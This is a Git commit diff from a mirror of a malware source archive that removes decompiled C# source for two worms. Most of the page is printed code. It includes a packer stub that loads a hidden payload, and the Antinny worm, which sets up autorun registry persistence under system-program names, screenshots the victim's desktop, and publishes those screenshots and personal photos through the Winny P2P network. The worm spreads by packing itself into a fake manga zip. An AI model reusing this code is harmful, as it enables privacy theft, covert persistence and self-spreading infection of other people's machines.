ch0ic3/MalwareSourceCode
1
0
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode.git synced 2024-12-18 09:26:09 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity

add

Browse Source
This commit is contained in:
vxunderground 2022-08-21 06:51:18 -05:00
parent 8f49a583f2
commit 2e3da99359
298 changed files with 0 additions and 51162 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

10
MSIL/Worm/MSIL/A/Worm.MSIL.Amiricil.i-1ff71f0efa507e7666e836eff4d48945e8126363c54d626813f8554c5c65ca38/AssemblyInfo.cs
View File

@ -1,10 +0,0 @@
using System.Reflection;
[assembly: AssemblyCompany("")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyTitle("")]
[assembly: AssemblyProduct("KillAv")]
[assembly: AssemblyCopyright("Copyright © civilpp 2007")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyVersion("1.0.0.0")]

269
MSIL/Worm/MSIL/A/Worm.MSIL.Amiricil.i-1ff71f0efa507e7666e836eff4d48945e8126363c54d626813f8554c5c65ca38/NetzStarter.cs
View File

@ -1,269 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: netz.NetzStarter
// Assembly: KillAv, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 56561EAF-CD25-4B07-928A-FCB49E856DBC
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.MSIL.Amiricil.i-1ff71f0efa507e7666e836eff4d48945e8126363c54d626813f8554c5c65ca38.exe
using ICSharpCode.SharpZipLib.Zip.Compression.Streams;
using System;
using System.Collections.Specialized;
using System.IO;
using System.Reflection;
using System.Resources;
namespace netz
{
public class NetzStarter
{
private static readonly string Name = nameof (Name);
private static readonly string Culture = nameof (Culture);
private static readonly string NetzSuffix = "z.dll";
private static HybridDictionary cache = (HybridDictionary) null;
private static ResourceManager rm = (ResourceManager) null;
private static bool inResourceResolveFlag = false;
[STAThread]
public static int Main(string[] args)
{
try
{
AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(NetzStarter.NetzResolveEventHandler);
return NetzStarter.StartApp(args);
}
catch (Exception ex)
{
string str = " .NET Runtime: ";
NetzStarter.Log("#Error: " + ex.GetType().ToString() + Environment.NewLine + ex.Message + Environment.NewLine + ex.StackTrace + Environment.NewLine + (object) ex.InnerException + Environment.NewLine + "Using" + str + Environment.Version.ToString() + Environment.NewLine + "Created with" + str + "2.0.50727.832");
return -1;
}
}
private static int StartApp(string[] args) => NetzStarter.InvokeApp(NetzStarter.GetAssembly(NetzStarter.GetResource("A6C24BF5-3690-4982-887E-11E1B159B249") ?? throw new Exception("application data cannot be found")), args);
private static Assembly GetAssembly(byte[] data)
{
MemoryStream memoryStream = (MemoryStream) null;
try
{
memoryStream = NetzStarter.UnZip(data);
memoryStream.Seek(0L, SeekOrigin.Begin);
return Assembly.Load(memoryStream.ToArray());
}
finally
{
memoryStream?.Close();
}
}
private static Assembly LoadZipDll()
{
MemoryStream memoryStream = (MemoryStream) null;
try
{
byte[] resource = NetzStarter.GetResource("zip.dll");
if (resource == null)
return (Assembly) null;
memoryStream = new MemoryStream(resource);
return Assembly.Load(memoryStream.ToArray());
}
catch
{
return (Assembly) null;
}
finally
{
memoryStream?.Close();
}
}
private static int InvokeApp(Assembly assembly, string[] args)
{
MethodInfo entryPoint = assembly.EntryPoint;
ParameterInfo[] parameters1 = entryPoint.GetParameters();
object[] parameters2 = (object[]) null;
if (parameters1 != null && parameters1.Length > 0)
parameters2 = new object[1]{ (object) args };
object obj = entryPoint.Invoke((object) null, parameters2);
return obj == null || !(obj is int num) ? 0 : num;
}
private static Assembly NetzResolveEventHandler(object sender, ResolveEventArgs args) => NetzStarter.inResourceResolveFlag ? (Assembly) null : NetzStarter.GetAssemblyByName(args.Name);
private static byte[] GetResource(string id)
{
if (NetzStarter.rm == null)
NetzStarter.rm = new ResourceManager("app", Assembly.GetExecutingAssembly());
try
{
NetzStarter.inResourceResolveFlag = true;
string name = NetzStarter.MangleDllName(id);
return (byte[]) NetzStarter.rm.GetObject(name);
}
finally
{
NetzStarter.inResourceResolveFlag = false;
}
}
private static string MangleDllName(string dll) => dll.Replace(" ", "!1").Replace(",", "!2").Replace(".Resources", "!3").Replace(".resources", "!3").Replace("Culture", "!4");
private static MemoryStream UnZip(byte[] data)
{
if (data == null)
return (MemoryStream) null;
MemoryStream memoryStream1 = (MemoryStream) null;
MemoryStream memoryStream2 = (MemoryStream) null;
InflaterInputStream inflaterInputStream = (InflaterInputStream) null;
try
{
memoryStream1 = new MemoryStream(data);
memoryStream2 = new MemoryStream();
inflaterInputStream = new InflaterInputStream((Stream) memoryStream1);
byte[] buffer = new byte[data.Length];
while (true)
{
int count = ((Stream) inflaterInputStream).Read(buffer, 0, buffer.Length);
if (count > 0)
memoryStream2.Write(buffer, 0, count);
else
break;
}
memoryStream2.Flush();
memoryStream2.Seek(0L, SeekOrigin.Begin);
}
finally
{
memoryStream1?.Close();
((Stream) inflaterInputStream)?.Close();
}
return memoryStream2;
}
private static byte[] ResolveDLL(StringDictionary assName)
{
string path2 = assName[NetzStarter.Culture];
string str1 = assName[NetzStarter.Name];
bool flag = path2.ToLower().Equals("neutral");
AppDomain currentDomain = AppDomain.CurrentDomain;
StringCollection probePaths1 = new StringCollection();
string path1 = currentDomain.SetupInformation.ApplicationBase;
if (!flag)
path1 = Path.Combine(path1, path2);
probePaths1.Add(path1);
probePaths1.Add(Path.Combine(path1, str1));
byte[] numArray = NetzStarter.ProbeDirs(probePaths1, str1);
if (numArray != null)
return numArray;
StringCollection probePaths2 = new StringCollection();
string privateBinPath = currentDomain.SetupInformation.PrivateBinPath;
if (privateBinPath == null || privateBinPath.Trim().Length <= 0)
return (byte[]) null;
string str2 = privateBinPath;
char[] chArray1 = new char[1]{ Path.PathSeparator };
foreach (string str3 in str2.Split(chArray1))
{
char[] chArray2 = new char[3]
{
' ',
'\t',
Path.PathSeparator
};
string str4 = str3.Trim(chArray2);
if (!Path.IsPathRooted(str4))
str4 = Path.Combine(currentDomain.SetupInformation.ApplicationBase, str4);
if (!flag)
str4 = Path.Combine(str4, path2);
probePaths2.Add(str4);
probePaths2.Add(Path.Combine(str4, str1));
}
return NetzStarter.ProbeDirs(probePaths2, str1);
}
private static byte[] ProbeDirs(StringCollection probePaths, string assName)
{
for (int index = 0; index < probePaths.Count; ++index)
{
string str = Path.Combine(probePaths[index], assName + NetzStarter.NetzSuffix);
if (File.Exists(str))
return NetzStarter.ReadFile(str);
}
return (byte[]) null;
}
private static byte[] ReadFile(string file)
{
FileStream fileStream = (FileStream) null;
byte[] buffer = (byte[]) null;
try
{
fileStream = File.OpenRead(file);
buffer = new byte[fileStream.Length];
fileStream.Read(buffer, 0, buffer.Length);
fileStream.Flush();
}
finally
{
fileStream?.Close();
}
return buffer;
}
private static void Log(string s) => Console.WriteLine(s);
private static Assembly GetAssemblyByName(string name)
{
if (name == null)
return (Assembly) null;
if (NetzStarter.cache == null)
NetzStarter.cache = new HybridDictionary();
name = name.Trim();
string lower = name.ToLower();
if (NetzStarter.cache[(object) lower] != null)
return (Assembly) NetzStarter.cache[(object) lower];
StringDictionary assName = NetzStarter.ParseAssName(name);
string str = assName[NetzStarter.Name];
byte[] numArray = (byte[]) null;
if (str.ToLower().Equals("zip"))
{
Assembly assemblyByName = NetzStarter.LoadZipDll();
NetzStarter.cache[(object) lower] = (object) assemblyByName;
return assemblyByName;
}
byte[] data = (((NetzStarter.GetResource(name) ?? NetzStarter.GetResource(name.ToLower())) ?? NetzStarter.GetResource(str)) ?? NetzStarter.GetResource(str.ToLower())) ?? NetzStarter.GetResource(Path.GetFileNameWithoutExtension(str).ToLower());
if (data == null)
{
try
{
data = NetzStarter.ResolveDLL(assName);
}
catch
{
data = (byte[]) null;
}
}
if (data == null)
return (Assembly) null;
Assembly assembly = NetzStarter.GetAssembly(data);
numArray = (byte[]) null;
NetzStarter.cache[(object) lower] = (object) assembly;
return assembly;
}
private static StringDictionary ParseAssName(string fullAssName)
{
StringDictionary assName = new StringDictionary();
string str1 = fullAssName;
char[] chArray1 = new char[1]{ ',' };
foreach (string str2 in str1.Split(chArray1))
{
char[] chArray2 = new char[2]{ ' ', ',' };
string[] strArray = str2.Trim(chArray2).Split('=');
if (strArray.Length < 2)
assName.Add(NetzStarter.Name, strArray[0]);
else
assName.Add(strArray[0].Trim(' ', '='), strArray[1].Trim(' ', '='));
}
return assName;
}
}
}

43
MSIL/Worm/MSIL/A/Worm.MSIL.Amiricil.i-1ff71f0efa507e7666e836eff4d48945e8126363c54d626813f8554c5c65ca38/Worm.MSIL.Amiricil.i.csproj
View File

@ -1,43 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.MSIL.Amiricil.i-1ff71f0efa507e7666e836eff4d48945e8126363c54d626813f8554c5c65ca38.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{EA965DC0-5EA0-4648-BBBA-7F6E9147DC3C}</ProjectGuid>
<OutputType>Exe</OutputType>
<AssemblyName>KillAv</AssemblyName>
<ApplicationVersion>1.0.0.0</ApplicationVersion>
<RootNamespace>netz</RootNamespace>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
</ItemGroup>
<ItemGroup>
<Compile Include="NetzStarter.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="app.resx" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>

20
MSIL/Worm/MSIL/A/Worm.MSIL.Amiricil.i-1ff71f0efa507e7666e836eff4d48945e8126363c54d626813f8554c5c65ca38/Worm.MSIL.Amiricil.i.sln
View File

@ -1,20 +0,0 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "KillAv", "Worm.MSIL.Amiricil.i-1ff71f0efa507e7666e836eff4d48945e8126363c54d626813f8554c5c65ca38.csproj", "{EA965DC0-5EA0-4648-BBBA-7F6E9147DC3C}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{EA965DC0-5EA0-4648-BBBA-7F6E9147DC3C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{EA965DC0-5EA0-4648-BBBA-7F6E9147DC3C}.Debug|Any CPU.Build.0 = Debug|Any CPU
{EA965DC0-5EA0-4648-BBBA-7F6E9147DC3C}.Release|Any CPU.ActiveCfg = Release|Any CPU
{EA965DC0-5EA0-4648-BBBA-7F6E9147DC3C}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

1329
MSIL/Worm/MSIL/A/Worm.MSIL.Amiricil.i-1ff71f0efa507e7666e836eff4d48945e8126363c54d626813f8554c5c65ca38/app.resx
View File

File diff suppressed because it is too large Load Diff

13
MSIL/Worm/MSIL/A/Worm.MSIL.Antinny.a-a31d15c2216467ce504cc220ba5aef384e797034a2924cb371ef43f0e87fd34c/AssemblyInfo.cs
View File

@ -1,13 +0,0 @@
using System;
using System.Reflection;
using System.Runtime.InteropServices;
[assembly: Guid("C623E70D-FA5B-45E1-AD07-D479FA5E3A12")]
[assembly: CLSCompliant(true)]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyTitle("")]
[assembly: AssemblyProduct("")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyCopyright("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyVersion("1.0.1942.42864")]

784
MSIL/Worm/MSIL/A/Worm.MSIL.Antinny.a-a31d15c2216467ce504cc220ba5aef384e797034a2924cb371ef43f0e87fd34c/Form1.cs
View File

@ -1,784 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: WindowsApplication2.Form1
// Assembly: WindowsApplication2, Version=1.0.1942.42864, Culture=neutral, PublicKeyToken=null
// MVID: 1F798A8A-ADED-4AFE-8C88-012ACD701081
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Worm.MSIL.Antinny.a-a31d15c2216467ce504cc220ba5aef384e797034a2924cb371ef43f0e87fd34c.exe
using java.io;
using java.util.zip;
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using Microsoft.Win32;
using System;
using System.Collections;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Resources;
using System.Runtime.CompilerServices;
using System.Text;
using System.Timers;
using System.Windows.Forms;
namespace WindowsApplication2
{
public class Form1 : Form
{
[AccessedThroughProperty("Label1")]
private Label _Label1;
[AccessedThroughProperty("Timer1")]
private System.Timers.Timer _Timer1;
private IContainer components;
public Form1()
{
this.Load += new EventHandler(this.Form1_Load);
this.InitializeComponent();
}
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
this.components.Dispose();
base.Dispose(disposing);
}
internal virtual System.Timers.Timer Timer1
{
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._Timer1 != null)
this._Timer1.Elapsed -= new ElapsedEventHandler(this.Timer1_Elapsed);
this._Timer1 = value;
if (this._Timer1 == null)
return;
this._Timer1.Elapsed += new ElapsedEventHandler(this.Timer1_Elapsed);
}
get => this._Timer1;
}
internal virtual Label Label1
{
get => this._Label1;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._Label1 == null)
;
this._Label1 = value;
if (this._Label1 == null)
;
}
}
[DebuggerStepThrough]
private void InitializeComponent()
{
ResourceManager resourceManager = new ResourceManager(typeof (Form1));
this.Timer1 = new System.Timers.Timer();
this.Label1 = new Label();
this.Timer1.BeginInit();
this.SuspendLayout();
this.Timer1.Enabled = true;
this.Timer1.Interval = 10.0;
this.Timer1.SynchronizingObject = (ISynchronizeInvoke) this;
this.Label1.Location = new Point(48, 40);
this.Label1.Name = "Label1";
Label label1 = this.Label1;
Size size1 = new Size(72, 32);
Size size2 = size1;
label1.Size = size2;
this.Label1.TabIndex = 0;
this.Label1.Text = "Label1";
size1 = new Size(5, 12);
this.AutoScaleBaseSize = size1;
size1 = new Size(292, 273);
this.ClientSize = size1;
this.Controls.Add((Control) this.Label1);
this.Icon = (Icon) resourceManager.GetObject("$this.Icon");
this.Name = nameof (Form1);
this.Opacity = 0.0;
this.ShowInTaskbar = false;
this.Text = nameof (Form1);
this.WindowState = FormWindowState.Minimized;
this.Timer1.EndInit();
this.ResumeLayout(false);
}
private void Form1_Load(object sender, EventArgs e)
{
}
public void Timer1_Elapsed(object sender, ElapsedEventArgs e)
{
label_1:
int num1;
int num2;
int num3;
Exception exception;
try
{
ProjectData.ClearProjectError();
num1 = 1;
label_2:
num2 = 1;
string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.System);
label_3:
num2 = 2;
string directoryName = Path.GetDirectoryName(folderPath);
label_4:
num2 = 3;
object executablePath = (object) Application.ExecutablePath;
label_5:
num2 = 4;
File.Copy(StringType.FromObject(executablePath), directoryName + "\\taskmgr.exe", true);
label_6:
num2 = 5;
File.Copy(StringType.FromObject(executablePath), folderPath + "\\config\\IEXPLORE.EXE", true);
label_7:
num2 = 6;
string subkey = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
label_8:
num2 = 7;
string name1 = "taskmgr";
label_9:
num2 = 8;
string name2 = "IEXPLORE";
label_10:
num2 = 9;
string str1 = directoryName + "\\taskmgr.exe -kira";
label_11:
num2 = 10;
string str2 = folderPath + "\\config\\IEXPLORE.EXE -ryuk";
label_12:
num2 = 11;
RegistryKey subKey1 = Registry.LocalMachine.CreateSubKey(subkey);
label_13:
num2 = 12;
RegistryKey subKey2 = Registry.LocalMachine.CreateSubKey(subkey);
label_14:
num2 = 13;
subKey1.SetValue(name1, (object) str1);
label_15:
num2 = 14;
subKey2.SetValue(name2, (object) str2);
label_16:
num2 = 15;
subKey1.Close();
label_17:
num2 = 16;
Console.WriteLine(str1);
label_18:
num2 = 17;
Directory.CreateDirectory(folderPath + "\\1035");
label_19:
num2 = 18;
checked { ++GetHostNameSample.tcnt; }
label_20:
num2 = 19;
if (StringType.StrCmp(GetHostNameSample.cline, "-ryuk", false) != 0)
goto label_29;
label_21:
num2 = 20;
if (GetHostNameSample.tcnt <= 60L)
goto label_27;
label_22:
num2 = 21;
this.Timer1.Interval = 10000.0;
label_23:
num2 = 22;
SendKeys.SendWait("^{PRTSC}");
label_24:
num2 = 23;
string str3 = Strings.Format((object) DateAndTime.Now, "yyMMdd_HHmm");
label_25:
num2 = 24;
Form1.SaveImage(folderPath + "\\1035\\[デスノート] " + GetHostNameSample.dnsname + "のデスクトップ " + str3 + ".jpg", 99);
label_26:
num2 = 25;
GetHostNameSample.tcnt = 0L;
label_27:
label_28:
int num4 = 27;
goto label_108;
label_29:
num2 = 28;
if (StringType.StrCmp(GetHostNameSample.cline, "-kira", false) != 0)
goto label_108;
label_30:
num2 = 29;
this.Timer1.Interval = 10000.0;
label_31:
num2 = 30;
if (GetHostNameSample.tcnt <= 6L)
goto label_106;
label_32:
num2 = 31;
string[] strArray1 = new string[1000];
label_33:
num2 = 32;
string[] filesMostDeep = Form1.GetFilesMostDeep(StringType.FromChar(Strings.Chr(checked ((int) GetHostNameSample.drv))) + ":\\", "winny.exe");
label_34:
num2 = 33;
long index1 = 0;
label_35:
num2 = 34;
string[] strArray2 = filesMostDeep;
int index2 = 0;
goto label_47;
label_37:
num2 = 35;
checked { ++index1; }
label_38:
num2 = 36;
string[] strArray3 = strArray1;
int index3 = checked ((int) index1);
int index4 = index3;
string str4;
string str5 = strArray1[index3] + str4 + Environment.NewLine;
strArray3[index4] = str5;
label_39:
num2 = 37;
GetHostNameSample.wpash = Strings.Mid(strArray1[checked ((int) index1)], 1, Strings.InStrRev(strArray1[checked ((int) index1)], "\\"));
label_40:
num2 = 38;
Form1.DeleteFile(GetHostNameSample.wpash + "UpFolder.txt", true);
label_41:
num2 = 39;
File.Create(GetHostNameSample.wpash + "UpFolder.txt").Close();
label_42:
num2 = 40;
StreamWriter streamWriter = new StreamWriter(GetHostNameSample.wpash + "UpFolder.txt", false, Encoding.GetEncoding(932));
label_43:
num2 = 41;
streamWriter.Write("[up]\nPath=" + folderPath + "\\1035" + "\n" + "Trip=" + "\n");
label_44:
num2 = 42;
streamWriter.Close();
label_45:
num2 = 43;
checked { ++index2; }
label_46:
num2 = 44;
label_47:
if (index2 < strArray2.Length)
{
str4 = strArray2[index2];
goto label_37;
}
label_48:
num2 = 45;
if (!File.Exists(folderPath + "\\1035\\[一般コミック][小畑健×" + GetHostNameSample.dnsname + "] DEATH NOTE -デスノート- 第" + StringType.FromLong(checked (GetHostNameSample.drv - 98L)) + "巻.zip"))
goto label_50;
label_49:
num2 = 46;
goto label_99;
label_50:
num2 = 47;
label_51:
num2 = 48;
filesMostDeep = Form1.GetFilesMostDeep(StringType.FromChar(Strings.Chr(checked ((int) GetHostNameSample.drv))) + ":\\", "DSC*.jpg");
label_52:
num2 = 49;
index1 = 0L;
label_53:
num2 = 50;
string[] strArray4 = filesMostDeep;
int index5 = 0;
goto label_59;
label_55:
num2 = 51;
checked { ++index1; }
label_56:
num2 = 52;
string[] strArray5 = strArray1;
int index6 = checked ((int) index1);
int index7 = index6;
string str6;
string str7 = strArray1[index6] + str6 + Environment.NewLine;
strArray5[index7] = str7;
label_57:
num2 = 53;
checked { ++index5; }
label_58:
num2 = 54;
label_59:
if (index5 < strArray4.Length)
{
str6 = strArray4[index5];
goto label_55;
}
label_60:
num2 = 55;
Directory.CreateDirectory(folderPath + "\\2124\\" + StringType.FromChar(Strings.Chr(checked ((int) GetHostNameSample.drv))) + "\\");
label_61:
num2 = 56;
long num5 = index1;
long Expression = 1;
goto label_64;
label_62:
num2 = 57;
File.Move(strArray1[checked ((int) Expression)], folderPath + "\\2124\\" + StringType.FromChar(Strings.Chr(checked ((int) GetHostNameSample.drv))) + "\\" + Strings.Format((object) Expression, "000") + ".jpg");
label_63:
num2 = 58;
checked { ++Expression; }
label_64:
if (Expression <= num5)
goto label_62;
label_65:
num2 = 59;
if (index1 <= 0L)
goto label_98;
label_66:
num2 = 60;
File.Copy(StringType.FromObject(executablePath), folderPath + "\\2124\\" + StringType.FromChar(Strings.Chr(checked ((int) GetHostNameSample.drv))) + "\\\\メール .exe", true);
label_67:
num2 = 61;
string str8 = folderPath + "\\1035\\[一般コミック][小畑健×" + GetHostNameSample.dnsname + "] DEATH NOTE -デスノート- 第" + StringType.FromLong(checked (GetHostNameSample.drv - 98L)) + "巻.zip";
label_68:
num2 = 62;
string[] arySrc = new string[10000];
label_69:
num2 = 63;
long num6 = index1;
Expression = 1L;
goto label_72;
label_70:
num2 = 64;
arySrc[checked ((int) (Expression - 1L))] = folderPath + "\\2124\\" + StringType.FromChar(Strings.Chr(checked ((int) GetHostNameSample.drv))) + "\\" + Strings.Format((object) Expression, "000") + ".jpg";
label_71:
num2 = 65;
checked { ++Expression; }
label_72:
if (Expression <= num6)
goto label_70;
label_73:
num2 = 66;
arySrc[checked ((int) index1)] = folderPath + "\\2124\\" + StringType.FromChar(Strings.Chr(checked ((int) GetHostNameSample.drv))) + "\\\\メール .exe";
label_74:
num2 = 67;
arySrc = (string[]) Utils.CopyArray((Array) arySrc, (Array) new string[checked ((int) index1 + 1)]);
label_75:
num2 = 68;
FileOutputStream fileOutputStream = new FileOutputStream(str8);
label_76:
num2 = 69;
ZipOutputStream zipOutputStream = new ZipOutputStream((OutputStream) fileOutputStream);
label_77:
num2 = 70;
string[] strArray6 = arySrc;
int index8 = 0;
goto label_95;
label_79:
num2 = 71;
string path;
string fileName = Path.GetFileName(path);
label_80:
num2 = 72;
ZipEntry zipEntry = new ZipEntry(fileName);
label_81:
num2 = 73;
zipEntry.setMethod(8);
label_82:
num2 = 74;
zipOutputStream.putNextEntry(zipEntry);
label_83:
num2 = 75;
FileInputStream fileInputStream = new FileInputStream(path);
label_84:
num2 = 76;
sbyte[] numArray = new sbyte[8192];
goto label_90;
label_85:
num2 = 79;
int num7 = fileInputStream.read(numArray, 0, numArray.Length);
label_86:
num2 = 80;
if (num7 <= 0)
goto label_91;
label_87:
label_88:
num2 = 83;
zipOutputStream.write(numArray, 0, num7);
label_89:
label_90:
num2 = 78;
if (true)
goto label_85;
label_91:
num2 = 85;
fileInputStream.close();
label_92:
num2 = 86;
zipOutputStream.closeEntry();
label_93:
num2 = 87;
checked { ++index8; }
label_94:
num2 = 88;
label_95:
if (index8 < strArray6.Length)
{
path = strArray6[index8];
goto label_79;
}
label_96:
num2 = 89;
zipOutputStream.close();
label_97:
num2 = 90;
fileOutputStream.close();
label_98:
label_99:
label_100:
num2 = 93;
GetHostNameSample.tcnt = 0L;
label_101:
num2 = 94;
checked { ++GetHostNameSample.drv; }
label_102:
num2 = 95;
if (GetHostNameSample.drv != 110L)
goto label_104;
label_103:
num2 = 96;
GetHostNameSample.drv = 99L;
label_104:
label_105:
num4 = 98;
goto label_107;
label_106:
num2 = 99;
ProjectData.EndApp();
label_107:
label_108:
goto label_116;
label_109:
int num8 = num3 + 1;
num3 = 0;
switch (num8)
{
case 0:
goto label_1;
case 1:
goto label_2;
case 2:
goto label_3;
case 3:
goto label_4;
case 4:
goto label_5;
case 5:
goto label_6;
case 6:
goto label_7;
case 7:
goto label_8;
case 8:
goto label_9;
case 9:
goto label_10;
case 10:
goto label_11;
case 11:
goto label_12;
case 12:
goto label_13;
case 13:
goto label_14;
case 14:
goto label_15;
case 15:
goto label_16;
case 16:
goto label_17;
case 17:
goto label_18;
case 18:
goto label_19;
case 19:
goto label_20;
case 20:
goto label_21;
case 21:
goto label_22;
case 22:
goto label_23;
case 23:
goto label_24;
case 24:
goto label_25;
case 25:
goto label_26;
case 26:
goto label_27;
case 27:
goto label_28;
case 28:
goto label_29;
case 29:
goto label_30;
case 30:
goto label_31;
case 31:
goto label_32;
case 32:
goto label_33;
case 33:
goto label_34;
case 34:
goto label_35;
case 35:
goto label_37;
case 36:
goto label_38;
case 37:
goto label_39;
case 38:
goto label_40;
case 39:
goto label_41;
case 40:
goto label_42;
case 41:
goto label_43;
case 42:
goto label_44;
case 43:
goto label_45;
case 44:
goto label_46;
case 45:
goto label_48;
case 46:
goto label_49;
case 47:
goto label_50;
case 48:
goto label_51;
case 49:
goto label_52;
case 50:
goto label_53;
case 51:
goto label_55;
case 52:
goto label_56;
case 53:
goto label_57;
case 54:
goto label_58;
case 55:
goto label_60;
case 56:
goto label_61;
case 57:
goto label_62;
case 58:
goto label_63;
case 59:
goto label_65;
case 60:
goto label_66;
case 61:
goto label_67;
case 62:
goto label_68;
case 63:
goto label_69;
case 64:
goto label_70;
case 65:
goto label_71;
case 66:
goto label_73;
case 67:
goto label_74;
case 68:
goto label_75;
case 69:
goto label_76;
case 70:
goto label_77;
case 71:
goto label_79;
case 72:
goto label_80;
case 73:
goto label_81;
case 74:
goto label_82;
case 75:
goto label_83;
case 76:
goto label_84;
case 77:
case 78:
goto label_90;
case 79:
goto label_85;
case 80:
goto label_86;
case 81:
case 85:
goto label_91;
case 82:
goto label_87;
case 83:
goto label_88;
case 84:
goto label_89;
case 86:
goto label_92;
case 87:
goto label_93;
case 88:
goto label_94;
case 89:
goto label_96;
case 90:
goto label_97;
case 91:
goto label_98;
case 92:
goto label_99;
case 93:
goto label_100;
case 94:
goto label_101;
case 95:
goto label_102;
case 96:
goto label_103;
case 97:
goto label_104;
case 98:
goto label_105;
case 99:
goto label_106;
case 100:
goto label_107;
case 101:
goto label_108;
case 102:
goto label_116;
}
}
catch (Exception ex) when ((num1 == 0 || num3 != 0 ? 0 : 1) != 0)
{
ProjectData.SetProjectError(ex);
exception = ex;
if (num3 == 0)
{
num3 = num2;
switch (num1)
{
case 1:
goto label_109;
default:
throw;
}
}
}
throw exception;
label_116:
if (num3 == 0)
return;
ProjectData.ClearProjectError();
}
private static ImageCodecInfo GetEncoderInfo(string mineType)
{
ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
int index = 0;
while (index < imageEncoders.Length)
{
ImageCodecInfo encoderInfo = imageEncoders[index];
if (StringType.StrCmp(encoderInfo.MimeType, mineType, false) == 0)
return encoderInfo;
checked { ++index; }
}
return (ImageCodecInfo) null;
}
public static void SaveImage(string fileName, int quality)
{
IDataObject dataObject = Clipboard.GetDataObject();
if (!dataObject.GetDataPresent(DataFormats.Bitmap))
return;
Bitmap data = (Bitmap) dataObject.GetData(DataFormats.Bitmap);
EncoderParameters encoderParams = new EncoderParameters(1);
EncoderParameter encoderParameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long) quality);
encoderParams.Param[0] = encoderParameter;
ImageCodecInfo encoderInfo = Form1.GetEncoderInfo("image/jpeg");
string lower = Path.GetExtension(encoderInfo.FilenameExtension.Split(';')[0]).ToLower();
string filename = Path.ChangeExtension(fileName, lower);
data.Save(filename, encoderInfo, encoderParams);
}
public static void DeleteFile(string nFilePath, bool bDelReadOnly)
{
FileInfo fileInfo = new FileInfo(nFilePath);
if (!fileInfo.Exists)
return;
if ((fileInfo.Attributes & FileAttributes.ReadOnly) > (FileAttributes) 0)
{
if (bDelReadOnly)
{
fileInfo.Attributes = FileAttributes.Normal;
fileInfo.Delete();
}
}
else
fileInfo.Delete();
}
public static string[] GetFilesMostDeep(string nRootPath, string nPattern)
{
ArrayList arrayList = new ArrayList();
string[] files = Directory.GetFiles(nRootPath, nPattern);
int index1 = 0;
while (index1 < files.Length)
{
string str = files[index1];
arrayList.Add((object) str);
checked { ++index1; }
}
string[] directories = Directory.GetDirectories(nRootPath);
int index2 = 0;
while (index2 < directories.Length)
{
string str = directories[index2];
string[] filesMostDeep;
if (StringType.StrCmp(Strings.Mid(str, 4, Strings.Len(str)), "System Volume Information", false) != 0)
filesMostDeep = Form1.GetFilesMostDeep(str, nPattern);
if (filesMostDeep != null)
arrayList.AddRange((ICollection) filesMostDeep);
checked { ++index2; }
}
return (string[]) arrayList.ToArray(typeof (string));
}
private void putFileToZip(ZipOutputStream outStream, string Path)
{
int num = checked ((int) FileSystem.FileLen(Path));
BufferedInputStream bufferedInputStream = new BufferedInputStream((InputStream) new FileInputStream(Path));
CRC32 crC32 = new CRC32();
sbyte[] numArray = new sbyte[checked (num - 1 + 1)];
if (bufferedInputStream.read(numArray, 0, num) != -1)
{
crC32.update(numArray, 0, num);
outStream.write(numArray, 0, num);
}
